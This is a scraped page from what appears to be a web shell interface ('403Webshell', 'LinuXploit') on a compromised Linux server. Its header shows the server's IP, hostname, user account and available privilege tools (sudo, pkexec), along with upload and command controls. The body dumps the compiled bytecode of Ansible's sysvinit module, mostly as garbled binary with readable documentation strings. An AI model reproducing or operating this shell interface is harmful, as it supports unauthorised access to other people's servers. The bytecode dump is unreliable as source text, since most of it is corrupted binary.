403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.11/site-packages/ansible/modules/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.11/site-packages/ansible/modules/__pycache__/sysvinit.cpython-311.pyc
�

���c�5���ddlmZmZmZeZdZdZdZddl	Z	ddl
mZddlm
Z
ddlmZmZmZmZmZmZd	�Zed
kre��dSdS)�)�absolute_import�division�print_functiona�

module: sysvinit
author:
    - "Ansible Core Team"
version_added: "2.6"
short_description:  Manage SysV services.
description:
    - Controls services on target hosts that use the SysV init system.
options:
    name:
        required: true
        description:
            - Name of the service.
        type: str
        aliases: ['service']
    state:
        choices: [ 'started', 'stopped', 'restarted', 'reloaded' ]
        description:
            - C(started)/C(stopped) are idempotent actions that will not run commands unless necessary.
              Not all init scripts support C(restarted) nor C(reloaded) natively, so these will both trigger a stop and start as needed.
        type: str
    enabled:
        type: bool
        description:
            - Whether the service should start on boot. B(At least one of state and enabled are required.)
    sleep:
        default: 1
        description:
            - If the service is being C(restarted) or C(reloaded) then sleep this many seconds between the stop and start command.
              This helps to workaround badly behaving services.
        type: int
    pattern:
        description:
            - A substring to look for as would be found in the output of the I(ps) command as a stand-in for a status result.
            - If the string is found, the service will be assumed to be running.
            - "This option is mainly for use with init scripts that don't support the 'status' option."
        type: str
    runlevels:
        description:
            - The runlevels this script should be enabled/disabled from.
            - Use this to override the defaults set by the package or init script itself.
        type: list
        elements: str
    arguments:
        description:
            - Additional arguments provided on the command line that some init scripts accept.
        type: str
        aliases: [ 'args' ]
    daemonize:
        type: bool
        description:
            - Have the module daemonize as the service itself might not do so properly.
            - This is useful with badly written init scripts or daemons, which
              commonly manifests as the task hanging as it is still holding the
              tty or the service dying when the task is over as the connection
              closes the session.
        default: no
extends_documentation_fragment: action_common_attributes
attributes:
    check_mode:
        support: full
    diff_mode:
        support: none
    platform:
        platforms: posix
notes:
    - One option other than name is required.
    - The service names might vary by specific OS/distribution
requirements:
    - That the service managed has a corresponding init script.
a:
- name: Make sure apache2 is started
  ansible.builtin.sysvinit:
      name: apache2
      state: started
      enabled: yes

- name: Make sure apache2 is started on runlevels 3 and 5
  ansible.builtin.sysvinit:
      name: apache2
      state: started
      enabled: yes
      runlevels:
        - 3
        - 5
az
results:
    description: results from actions taken
    returned: always
    type: complex
    sample: {
            "attempts": 1,
            "changed": true,
            "name": "apache2",
            "status": {
                "enabled": {
                    "changed": true,
                    "rc": 0,
                    "stderr": "",
                    "stdout": ""
                },
                "stopped": {
                    "changed": true,
                    "rc": 0,
                    "stderr": "",
                    "stdout": "Stopping web server: apache2.\n"
                }
            }
        }
N)�sleep)�
AnsibleModule)�sysv_is_enabled�get_sysv_script�sysv_exists�fail_if_missing�get_ps�	daemonizec������tttdddg���tgd�d���td���td	d
���td���tddg�
��tdd���tdd������dddgg�����jd��jd��jd}�jd}�jd}�jd}d}dx}}�did�}t�t	������t����gd�}gd�}	i}
i}|	D]}��||���||<�|r6|D]2}
|
�|
i��t�|
���|
|
d<�3nt���|
d<d}d}|rt�|��x}}�n$|�
d��r|d�d ��d!�}n�rd"�z}n��d#�$����|��\}}}|d%ks��d&krd'|vrd}d}|su|�
d(��d
kr\|��������d��}d)D]
}||vrd}n�|sd*D]}||vr
d+|vrd}d}n�|s|d,vrd}|s4|dkrd}d}n)t����rd}d}��d-��|s��d.��|d/�di��d|d/dd0<d|d/dd1<d|d/dd2<d|d/dd3<|�r�||d/dd<|D]*}
||
|
dkrd|d0<d|d/dd0<�+�j�sO|d0�rF|r�|�
d4��r<��|d4�d ��d5d �|������\}}}�n|�
d6��r;��|d6�d7d�|���d ��d8���\}}}�n�|�
d4��r<��|d4�d ��d9d �|������\}}}�nr|�
d6��r;��|d6�d7d�|���d ��d:���\}}}�n |�"||
dkrd|d0<d|d/dd0<�js�|d0r�|rv|�
d4��r&��|d4�d ��d;���\}}}n�|�
d6��r%��|d6�d ��d8���\}}}nu|�
d4��r&��|d4�d ��d<���\}}}n:|�
d6��r%��|d6�d ��d:���\}}}�jsu|d/dd0ra||d/dd1<||d/dd2<||d/dd3<d=\}}}d>|d/dd3vr�jdGd?d@�zi|��|d/��jdi��d|d/�jdd0<d|d/�jdd1<d|d/�jdd2<d|d/�jdd3<��r�t'jdAd�����������fdB�}�dCkrNd|d0<d|d/�jdd0<�js%dDD]"}||��\}}}|rt+|���#n�|�dEkkr8d|d0<d|d/�jdd0<�js|���\}}}nA|�dFkkr7d|d0<d|d/�jdd0<�js|���\}}}�jsy|d/�jdd0rZ||d/�jdd1<||d/�jdd2<||d/�jdd3<d=\}}}�jdGi|��dS)HNT�str�service)�required�type�aliases)�started�stopped�	restarted�reloaded)�choicesr�bool)r�int�)r�default�args)rr�list)r�elementsF)�name�state�enabledr�pattern�	arguments�	runlevelsr
r!r")�
argument_spec�supports_check_mode�required_one_ofr r%r#rr�)r �changed�status)z/sbinz	/usr/sbinz/binz/usr/bin)�	chkconfig�update-rc.d�insservr)�opt_dirs)�runlevel� z statusz	%s statusz"Unable to determine service status)�msg����iptables�ACCEPT�
)�stopzis dead z	dead but zcould not access pid file�inactive)�run�start�activeznot )r����EzTUsed ps output to match service name and determine it is up, this is very unreliablez9Unable to determine if service is up, assuming it is downr+r*�rc�stdout�stderrr-z enable r,z	 --level z onz	 disable z offz	 defaultsz disable)NNNzillegal runlevel specifiedr2z=Illegal runlevel specified for enable operation on service %szp?ed$c����jd}�	�d|�d|�dn|��}�jdrt�|��\}}}n��|��\}}}|dkr��d��d���|||���|||fS)	Nr$r1r)r
rz
Failed to z
 service: )r2r@rArB)�paramsr
�run_command�	fail_json)
�doitr�cmdr@�out�err�action�moduler �scripts
      �����=/usr/lib/python3.11/site-packages/ansible/modules/sysvinit.py�runmezmain.<locals>.runme8s�����=��-�D� &������D�L�b�b�d�.J�K�C��}�[�)�
9�!*�6�3�!7�!7���S�#�#�!'�!3�!3�C�!8�!8���S�#��Q�w�w�� � � �6�6�6�4�4�%P�UW�`c�lo� �p�p�p���S�>�!��restart)r7r:r:r7�)r�dictrDrr
r	�get_bin_path�
setdefaultrr�getrFrE�count�lower�replace�warn�
check_mode�join�re�subr�	exit_json)r"r%r#�	sleep_forr@rIrJ�result�paths�binaries�runlevel_status�location�binary�rl�
is_started�workedrH�cleanoutr�started_statusrO�dothisrKrLr rMs                      @@@@rN�mainrm�s�������
���t�%�)��E�E�E��N�N�N�UZ�[�[�[��f�%�%�%��E�1�-�-�-��e�$�$�$����x�8�8�8����7�7�7����6�6�6�	
�	
�	
�!�!�9�-�.�
�
�
�F��=�� �D�
�]�7�
#�F��m�I�&�G��
�k�*�I��m�I�&�G��
�g�&�I�	
�B��N�C�#������F��F�K��-�-�t�4�4�4�
�T�
"�
"�F�
7�6�6�E�A�A�A�H��O��H��G�G��!�.�.�v��.�F�F������;��	P�	P�B��&�&�r�2�.�.�.�-<�T�B�-O�-O�-O�O�B��	�*�*�	P�&5�T�%:�%:��	�"��J�
�F��1t�$�V�W�5�5�5�����<�<�	�"�"�	G�$,�Y�$7�$7�$7����>�C�C�
�	G���&�C�C����!E��F�F�F��+�+�C�0�0���S�#��R�x�x��z�!�!�h�#�o�o���!�
��
"�c�i�i��o�o��2�2��9�9�;�;�.�.�t�z�z�|�|�R�@�@��i���G��(�*�*�!%����+��"�*D�"�"��)�X�5�5�&��:P�:P�)-�J�%)�F�!�E���
�b�$4�4�4����		t��Q�w�w�!�
�������%�%�
t�!�
������r�s�s�s��Q����O�P�P�P��8����	�2�.�.�.�-2�F�8��Y��	�*�(,�F�8��Y���%�,0�F�8��Y���)�,0�F�8��Y���)��#e�3<��x���#�K�0��	>�	>�B��/�"�-�i�8�8�8�$(��y�!�9=��x� ��+�I�6��� �	D�V�I�%6�	D��	
D��<�<�
�.�.�C�%+�%7�%7�X�Vc�Md�Md�Md�fj�fj�fj�lo�lt�lt�u~�l�l�l�9A�&B�&B�N�R��c�c��\�\�+�.�.�C�%+�%7�%7�QY�Ze�Qf�Qf�Qf�hj�ho�ho�py�hz�hz�hz�hz�}A�}A�}A�9B�&C�&C�N�R��c���<�<�
�.�.�D�%+�%7�%7�h�Wd�Ne�Ne�Ne�gk�gk�gk�mp�mu�mu�v�nA�nA�nA�9B�&C�&C�N�R��c�c��\�\�+�.�.�D�%+�%7�%7�RZ�[f�Rg�Rg�Rg�ik�ip�ip�qz�i{�i{�i{�i{�~B�~B�~B�9C�&D�&D�N�R��c����7�o�i�.H�#H�#H� $�F�9��59�F�8��Y�'�	�2�� �	e�V�I�%6�	e��	
e��<�<�
�.�.�d�%+�%7�%7�H�Ub�Lc�Lc�Lc�ei�ei�ei�8j�%k�%k�N�R��c�c��\�\�+�.�.�d�%+�%7�%7�h�{�F[�F[�F[�]a�]a�]a�8b�%c�%c�N�R��c���<�<�
�.�.�e�%+�%7�%7�8�Ta�Kb�Kb�Kb�dh�dh�dh�8i�%j�%j�N�R��c�c��\�\�+�.�.�e�%+�%7�%7�x�P[�G\�G\�G\�^b�^b�^b�8c�%d�%d�N�R��c���s���!1�)�!<�Y�!G�s�,.��x���#�D�)�03��x���#�H�-�03��x���#�H�-�'���C��'�6�(�+;�I�+F�x�+P�P�P��F��r�r�!`�cg�!g�r�kq�r�r�r��8�����
�g� 6��;�;�;�:?�F�8��V�]�7�+�,�Y�7�59�F�8��V�]�7�+�,�T�2�9=�F�8��V�]�7�+�,�X�6�9=�F�8��V�]�7�+�,�X�6�
�/,����"�f�l�l�n�n�5�5��	"�	"�	"�	"�	"�	"�	"�	"�"�Y��� $�F�9��BF�F�8��V�]�7�3�4�Y�?��$�
)�0�)�)�F�%*�U�6�]�]�N�R��c� �)��i�(�(�(���
�F�g�-�
.�
.� $�F�9��BF�F�8��V�]�7�3�4�Y�?��$�
-�$�u�V�}�}���C���
�F�f�,�
-�
-� $�F�9��BF�F�8��V�]�7�3�4�Y�?��$�
-�$�u�V�}�}���C��� �	,�V�H�%5�f�m�G�6L�%M�i�%X�	,�=?�F�8��V�]�7�3�4�T�:�AD�F�8��V�]�7�3�4�X�>�AD�F�8��V�]�7�3�4�X�>�+�L�B��S��F����v�����rP�__main__)�
__future__rrrr�
__metaclass__�
DOCUMENTATION�EXAMPLES�RETURNr]�timer�ansible.module_utils.basicr�ansible.module_utils.servicerr	r
rrr
rm�__name__rRrPrN�<module>rxs���A�@�@�@�@�@�@�@�@�@��
�F�
�P��"
��4
�	�	�	�������4�4�4�4�4�4�z�z�z�z�z�z�z�z�z�z�z�z�z�z�z�z�d�d�d�N�z����D�F�F�F�F�F��rP

Youez - 2016 - github.com/yon3zu
LinuXploit